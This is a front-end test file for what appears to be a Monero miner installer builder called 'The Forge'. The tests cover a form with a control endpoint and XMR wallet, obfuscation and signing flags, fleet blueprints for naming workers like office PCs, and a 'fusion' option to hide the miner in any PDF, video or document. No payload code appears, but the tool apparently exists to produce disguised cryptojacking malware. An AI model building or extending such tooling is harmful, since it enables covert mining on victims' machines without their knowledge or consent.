/**
 * @vitest-environment happy-dom
 */
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuilderPage, { formatBytes } from './BuilderPage';
import { ForgeProvider } from '../context/ForgeContext';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';

function renderBuilder(initialEntries = ['/forge']) {
  return render(
    <MemoryRouter initialEntries={initialEntries} future={routerFuture}>
      <ForgeProvider>
        <BuilderPage />
      </ForgeProvider>
    </MemoryRouter>
  );
}

describe('formatBytes', () => {
  it('formats sub-kilobyte values as bytes', () => {
    expect(formatBytes(512)).toBe('512 B');
  });

  it('formats kilobytes and megabytes with two decimals', () => {
    expect(formatBytes(2048)).toBe('2.00 KB');
    expect(formatBytes(5 * 1024 * 1024)).toBe('5.00 MB');
  });

  it('formats gigabytes and terabytes', () => {
    expect(formatBytes(3 * 1024 * 1024 * 1024)).toBe('3.00 GB');
    expect(formatBytes(2 * 1024 * 1024 * 1024 * 1024)).toBe('2.00 TB');
  });
});

describe('BuilderPage', () => {
  beforeEach(() => {
    vi.clearAllMocks();
    localStorage.clear();
    vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
    vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
    vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
    vi.spyOn(api, 'buildAgent').mockResolvedValue({
      success: true,
      file_name: 'worker-1.exe',
      file_size: 4 * 1024 * 1024,
      download_url: '/api/v1/builds/test/download',
      fusion_enabled: false,
      obfuscated: false,
      signed: false,
    });
    vi.spyOn(api, 'listBlueprints').mockResolvedValue([]);
    vi.spyOn(api, 'saveBlueprint').mockResolvedValue({ name: 'my-blueprint', size: 1024, created_at: '' });
    vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
  });

  afterEach(() => {
    vi.unstubAllGlobals();
    cleanup();
  });

  it('shows loading hero before defaults arrive', () => {
    renderBuilder();
    expect(screen.getByRole('heading', { level: 1, name: 'The Forge' })).toBeInTheDocument();
    expect(screen.getByText('Loading forge defaults from server...')).toBeInTheDocument();
  });

  it('renders forge form with identity field labels after load', async () => {
    renderBuilder();
    expect(await screen.findByRole('heading', { level: 2, name: 'Quick Forge' })).toBeInTheDocument();
    expect(screen.getByText('INSTALLER FORGE')).toBeInTheDocument();
    expect(screen.getByText('Worker Name')).toBeInTheDocument();
    expect(screen.getByText('Control Endpoint')).toBeInTheDocument();
    expect(screen.getByText('XMR Wallet Address')).toBeInTheDocument();
    expect(api.getConfig).toHaveBeenCalled();
    expect(api.getServerInfo).toHaveBeenCalled();
    expect(api.listBuilds).toHaveBeenCalled();
  });

  it('surfaces load failure when server info cannot be fetched', async () => {
    vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
    renderBuilder();
    expect(
      await screen.findByText('Failed to load server config — is the control server running?')
    ).toBeInTheDocument();
  });

  it('shows LAN endpoint chips from server info', async () => {
    renderBuilder();
    await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
    expect(screen.getByRole('button', { name: mockServerInfo.suggested_url! })).toBeInTheDocument();
  });

  it('switches to advanced mode and reveals pool configuration', async () => {
    renderBuilder();
    await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
    await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
    expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
    expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
    expect(screen.getByText('Mining Pools')).toBeInTheDocument();
  });

  it('submits forge when preflight passes', async () => {
    const buildSpy = vi.spyOn(api, 'buildAgent');
    renderBuilder();
    await screen.findByRole('button', { name: /FORGE INSTALLER/i });
    await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
    await waitFor(() => {
      expect(buildSpy).toHaveBeenCalled();
    });
    expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
    expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
  });

  it('offers forge-next-worker after a successful build', async () => {
    renderBuilder();
    await screen.findByRole('button', { name: /FORGE INSTALLER/i });
    await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
    expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();

    await userEvent.setup().click(screen.getByRole('button', { name: 'Forge next worker' }));
    expect(screen.queryByText('worker-1.exe')).not.toBeInTheDocument();
    expect(screen.getByPlaceholderText(/office-pc-1/i)).toHaveValue('worker-2');
  });

  it('shows fleet blueprint save prompt after first successful forge', async () => {
    const promptMock = vi.fn().mockReturnValue('fleet-default');
    vi.stubGlobal('prompt', promptMock);
    const saveSpy = vi.spyOn(api, 'saveBlueprint');

    renderBuilder();
    await screen.findByRole('button', { name: /FORGE INSTALLER/i });
    await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
    expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();

    await userEvent.setup().click(screen.getByRole('button', { name: 'Save as fleet blueprint' }));
    await waitFor(() => {
      expect(promptMock).toHaveBeenCalledWith('Save this setup as a fleet blueprint:', 'fleet-default');
      expect(saveSpy).toHaveBeenCalledWith('fleet-default', expect.any(Object));
    });
  });

  it('blocks forge when preflight has errors (empty wallet)', async () => {
    renderBuilder();
    const wallet = await screen.findByDisplayValue(/^4A+/);
    fireEvent.change(wallet, { target: { value: '' } });
    const forgeBtn = screen.getByRole('button', { name: /FIX .* ERROR/i });
    expect(forgeBtn).toBeDisabled();
    expect(screen.getByText('PREFLIGHT CROSS-CHECK')).toBeInTheDocument();
  });

  it('persists simple vs advanced mode in localStorage', async () => {
    renderBuilder();
    await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
    await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
    expect(localStorage.getItem('aetherforge-forge-mode')).toBe('advanced');
    await userEvent.setup().click(screen.getByRole('button', { name: 'Simple' }));
    expect(localStorage.getItem('aetherforge-forge-mode')).toBe('simple');
  });

  it('loads blueprint list when Load Blueprint is clicked', async () => {
    vi.spyOn(api, 'listBlueprints').mockResolvedValue([
      { name: 'office-preset', size: 2048, created_at: '2026-05-30T12:00:00Z' },
    ]);
    renderBuilder();
    await screen.findByRole('button', { name: /Load Blueprint/i });
    await userEvent.setup().click(screen.getByRole('button', { name: /Load Blueprint/i }));
    expect(await screen.findByText('Saved Blueprints')).toBeInTheDocument();
    expect(screen.getByText('office-preset')).toBeInTheDocument();
    expect(api.listBlueprints).toHaveBeenCalled();
  });

  it('shows fusion deliverable hint when Fusion card is selected', async () => {
    renderBuilder();
    await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
    await userEvent.setup().click(
      screen.getByRole('button', { name: /Hide miner in any file/i })
    );
    expect(
      screen.getByText(/Drop any file — PDF, video, document/i)
    ).toBeInTheDocument();
  });
});
